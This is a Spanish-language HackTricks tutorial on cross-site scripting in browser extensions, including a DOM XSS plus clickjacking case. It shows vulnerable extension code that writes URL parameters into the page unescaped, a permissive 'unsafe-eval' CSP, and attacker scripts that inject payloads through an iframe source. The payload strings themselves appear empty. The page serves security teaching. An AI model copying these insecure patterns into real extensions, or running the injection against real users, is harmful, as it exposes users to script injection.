# BrowExt - Ejemplo de XSS
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
## Cross-Site Scripting (XSS) a través de Iframe En esta configuración, se implementa un **script de contenido** para instanciar un Iframe, incorporando una URL con parámetros de consulta como la fuente del Iframe: ```javascript chrome.storage.local.get("message", result => { let constructedURL = chrome.runtime.getURL("message.html") + "?content=" + encodeURIComponent(result.message) + "&redirect=https://example.net/details"; frame.src = constructedURL; }); ``` Una página HTML de acceso público, **`message.html`**, está diseñada para agregar dinámicamente contenido al cuerpo del documento basado en los parámetros en la URL: ```javascript $(document).ready(() => { let urlParams = new URLSearchParams(window.location.search); let userContent = urlParams.get("content"); $(document.body).html(`${userContent} `); $('#detailBtn').on('click', () => { let destinationURL = urlParams.get("redirect"); chrome.tabs.create({ url: destinationURL }); }); }); ``` Un script malicioso se ejecuta en la página de un adversario, modificando el parámetro `content` de la fuente del Iframe para introducir un **payload XSS**. Esto se logra actualizando la fuente del Iframe para incluir un script dañino: ```javascript setTimeout(() => { let targetFrame = document.querySelector("iframe").src; let baseURL = targetFrame.split('?')[0]; let xssPayload = ""; let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`; document.querySelector("iframe").src = maliciousURL; }, 1000); ``` Una Política de Seguridad de Contenido excesivamente permisiva como: ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` Permite la ejecución de JavaScript, lo que hace que el sistema sea vulnerable a ataques XSS. Un enfoque alternativo para provocar el XSS implica crear un elemento Iframe y establecer su origen para incluir el script dañino como el parámetro `content`: ```javascript let newFrame = document.createElement("iframe"); newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + encodeURIComponent(""); document.body.append(newFrame); ``` ## XSS basado en DOM + ClickJacking Este ejemplo fue tomado del [post original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). El problema principal surge de una vulnerabilidad de Cross-site Scripting (XSS) basada en DOM ubicada en **`/html/bookmarks.html`**. El JavaScript problemático, parte de **`bookmarks.js`**, se detalla a continuación: ```javascript $('#btAdd').on('click', function() { var bookmarkName = $('#txtName').val(); if ($('.custom-button .label').filter(function() { return $(this).text() === bookmarkName; }).length) return false; var bookmarkItem = $('
'); bookmarkItem.html('' + bookmarkName + ''); bookmarkItem.append(''); bookmarkItem.attr('data-title', bookmarkName); bookmarkItem.data('timestamp', (new Date().getTime())); $('section.bookmark-container .existing-items').append(bookmarkItem); persistData(); }); ``` Este fragmento obtiene el **valor** del campo de entrada **`txtName`** y utiliza **concatenación de cadenas para generar HTML**, que luego se añade al DOM utilizando la función `.append()` de jQuery. Normalmente, la Política de Seguridad de Contenido (CSP) de la extensión de Chrome evitaría tales vulnerabilidades. Sin embargo, debido a la **relajación de CSP con 'unsafe-eval'** y al uso de los métodos de manipulación del DOM de jQuery (que emplean [`globalEval()`](https://api.jquery.com/jquery.globaleval/) para pasar scripts a [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) al insertar en el DOM), la explotación sigue siendo posible. Aunque esta vulnerabilidad es significativa, su explotación suele depender de la interacción del usuario: visitar la página, introducir un payload XSS y activar el botón "Agregar". Para potenciar esta vulnerabilidad, se explota una vulnerabilidad secundaria de **clickjacking**. El manifiesto de la extensión de Chrome muestra una extensa política `web_accessible_resources`: ```json "web_accessible_resources": [ "html/bookmarks.html", "dist/*", "assets/*", "font/*", [...] ], ``` Notablemente, la página **`/html/bookmarks.html`** es propensa al enmarcado, por lo tanto vulnerable al **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera no intencionada. ## Referencias * [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) * [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
Aprende hacking de AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.